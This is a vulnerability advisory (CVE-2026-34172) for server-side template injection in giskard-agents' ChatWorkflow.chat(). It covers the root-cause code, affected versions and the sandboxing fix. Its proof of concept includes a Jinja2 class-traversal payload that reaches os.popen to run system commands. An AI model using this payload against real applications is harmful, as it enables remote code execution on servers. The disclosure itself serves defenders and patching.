id: PYSEC-2026-2487 published: "2026-07-13T14:36:45.866103Z" modified: "2026-07-13T16:04:07.507105Z" aliases: - CVE-2026-34172 - GHSA-frv4-x25r-588m summary: Giskard Agents have Server-side template injection via ChatWorkflow.chat() using non-sandboxed Jinja2 Environment details: "## Summary\n\n`ChatWorkflow.chat(message)` passes its string argument directly as a Jinja2 template source to a non-sandboxed `Environment`. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.\n\nThe method name `chat` and parameter name `message` naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.\n\n## Root Cause\n\n`libs/giskard-agents/src/giskard/agents/workflow.py` line ~261:\n```python\ndef chat(self, message: str | Message | MessageTemplate, role: Role = \"user\") -> Self:\n if isinstance(message, str):\n message = MessageTemplate(role=role, content_template=message)\n```\n\nThe string becomes `content_template`, which is parsed by `from_string()`:\n\n`libs/giskard-agents/src/giskard/agents/templates/message.py` lines 14-15:\n```python\ndef render(self, **kwargs: Any) -> Message:\n template = _inline_env.from_string(self.content_template)\n rendered_content = template.render(**kwargs)\n```\n\nThe Jinja2 Environment is not sandboxed:\n\n`libs/giskard-agents/src/giskard/agents/templates/environment.py` line 37:\n```python\n_inline_env = Environment(\n autoescape=False,\n # Not SandboxedEnvironment\n)\n```\n\n## Proof of Concept\n\n```python\nfrom jinja2 import Environment\nenv = Environment() # Same as giskard's _inline_env\n\n# Class traversal reaches os.popen\nt = env.from_string(\"{{ ''.__class__.__mro__[1].__subclasses__() | length }}\")\nprint(t.render()) # 342 accessible subclasses\n\n# Full RCE payload (subclass index varies by Python version)\n# {{ ''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['os'].popen('id').read() }}\n```\n\nA developer building a chatbot:\n```python\nworkflow = ChatWorkflow(generator=my_llm)\nworkflow = workflow.chat(user_input) # user_input parsed as Jinja2 template\nresult = await workflow.run() # RCE if user_input contains {{ payload }}\n```\n\nNote: using `.with_inputs(var=user_data)` is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to `chat()`.\n\n## Impact\n\nRemote code execution on the server hosting any application built with giskard-agents that passes user input to `ChatWorkflow.chat()`. Attacker can execute system commands, read files, access environment variables.\n\nAffects giskard-agents <=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release).\n\n# Mitigation\n\nUpdate to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix.\n\nThe fix replaces the unsandboxed Jinja2 Environment with `SandboxedEnvironment`, which blocks attribute access to dunder methods and prevents class traversal chains. `SandboxedEnvironment` blocks access to attributes starting with `_`, preventing the `__class__.__mro__` traversal chain." affected: - package: name: giskard-agents ecosystem: PyPI purl: pkg:pypi/giskard-agents ranges: - type: ECOSYSTEM events: - introduced: "0" - fixed: 0.3.4 - introduced: 1.0.1a1 - fixed: 1.0.2b1 versions: - 0.3.0 - 0.3.1 - 0.3.2 - 0.3.3 - 1.0.1a1 - 1.0.2a1 references: - type: WEB url: https://github.com/Giskard-AI/giskard-oss/security/advisories/GHSA-frv4-x25r-588m - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2026-34172 - type: PACKAGE url: https://github.com/Giskard-AI/giskard-oss - type: PACKAGE url: https://pypi.org/project/giskard-agents - type: ADVISORY url: https://github.com/advisories/GHSA-frv4-x25r-588m severity: - type: CVSS_V4 score: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N